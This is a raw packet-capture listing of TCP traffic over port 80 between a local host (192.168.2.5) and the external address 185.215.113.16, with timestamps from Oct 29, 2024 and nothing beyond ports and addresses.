Oct 29, 2024 04:52:59.183078051 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.183089972 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.183099031 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.183101892 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.183120966 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.183139086 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.183171988 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.183710098 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.183722019 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.183732033 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.183743954 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.183756113 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.183768034 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.183779001 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.183782101 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.183790922 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.183804035 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.183805943 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.183816910 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.183832884 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.183847904 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.183855057 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.183872938 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.183892965 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.183917046 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.183928967 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.183940887 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.183953047 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.183964968 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.183976889 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.183985949 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.183989048 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.184001923 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.184011936 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.184012890 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.184025049 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.184035063 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.184037924 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.184051037 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.184055090 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.184063911 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.184077024 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.184082031 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.184088945 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.184108019 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.184139013 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.184689045 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.184703112 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.184712887 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.184725046 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.184736013 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.184746981 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.184756994 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.184757948 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.184771061 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.184781075 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.184782982 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.184798956 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.184815884 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.184833050 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.184844017 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.184854984 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.184866905 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.184874058 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.184876919 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.184890032 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.184900045 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.184901953 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.184915066 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.184926987 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.184928894 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.184940100 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.184951067 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.184954882 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.184971094 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.184982061 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.184986115 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.184995890 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.185008049 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.185019016 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.185026884 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.185031891 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.185045004 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.185056925 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.185061932 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.185069084 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.185080051 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.185091972 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.185127974 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.185621977 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.185633898 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.185643911 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.185657024 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.185667992 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.185678959 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.185688972 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.185703039 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.185719013 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.185731888 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.185741901 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.185743093 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.185755014 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.185765982 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.185776949 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.185787916 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.185811043 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.185827971 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.185832024 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.185841084 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.185852051 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.185863972 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.185874939 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.185885906 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.185892105 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.185898066 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.185910940 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.185920954 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.185931921 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.185942888 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.185952902 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.185965061 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.185973883 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.185973883 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.185976982 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.185987949 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.186000109 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.186006069 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.186012030 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.186032057 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.186057091 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.186537027 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.186549902 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.186558962 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.186572075 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.186582088 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.186594963 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.186609983 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.186625957 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.186639071 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.186649084 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.186650991 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.186661005 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.186670065 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.186672926 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.186683893 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.186695099 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.186717033 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.186729908 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.186753988 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.186765909 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.186777115 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.186786890 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.186791897 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.186800957 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.186813116 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.186822891 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.186822891 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.186835051 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.186846972 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.186852932 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.186857939 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.186866045 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.186871052 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.186882973 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.186893940 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.186897039 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.186917067 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.186920881 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.186933994 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.186944008 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.186956882 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.186964035 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.187000036 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.187437057 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.187455893 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.187477112 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.187489033 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.187499046 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.187500954 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.187513113 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.187522888 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.187525034 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.187536955 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.187547922 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.187550068 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.187560081 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.187566042 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.187575102 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.187592983 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.187630892 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.204447985 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.205606937 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.209837914 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.209851980 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.209862947 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.209954023 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.210891008 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.210928917 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.210942984 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.210952044 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.210961103 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.210984945 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.211031914 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.211042881 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.211060047 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.211072922 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.211085081 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.211122990 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.211165905 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.211178064 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.211189032 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.211200953 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.211227894 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.211318016 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.211332083 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.211344957 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.211357117 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.211369038 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.211374998 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.211380959 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.211390018 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.211427927 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.211441994 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.211453915 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.211500883 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.211623907 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.211636066 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.211646080 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.211657047 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.211668968 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.211680889 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.211692095 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.211693048 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.211704016 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.211714983 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.211718082 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.211726904 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.211739063 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.211750984 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.211761951 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.211772919 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.211776018 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.211812973 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.211937904 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.211950064 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.211961985 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.211973906 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.211985111 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.211987972 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.212012053 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.212049007 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.212060928 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.212070942 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.212084055 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.212094069 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.212095976 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.212109089 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.212120056 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.212127924 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.212138891 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.212160110 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.212328911 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.212341070 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.212358952 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.212376118 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.212377071 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.212388039 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.212399960 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.212404013 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.212412119 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.212424040 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.212435007 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.212435961 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.212446928 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.212459087 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.212471008 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.212475061 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.212482929 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.212506056 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.212521076 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.212526083 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.212543011 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.212560892 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.212573051 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.212584019 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.212584019 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.212595940 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.212608099 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.212620020 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.212630987 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.212641001 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.212642908 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.212655067 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.212672949 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.212676048 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.212686062 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.212697983 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.212708950 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.212721109 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.212743044 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.212771893 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.213048935 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.213062048 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.213105917 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.213208914 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.213227987 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.213244915 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.213255882 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.213268042 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.213279009 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.213290930 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.213303089 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.213314056 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.213325024 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.213326931 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.213336945 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.213347912 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.213351011 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.213359118 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.213367939 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.213371038 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.213385105 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.213392973 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.213421106 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.213598013 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.213609934 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.213628054 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.213637114 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.213641882 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.213654041 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.213664055 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.213666916 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.213680029 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.213695049 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.213722944 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.213733912 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.213747025 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.213757992 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.213769913 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.213782072 CET	80	49917	185.215.113.16	192.168.2.5
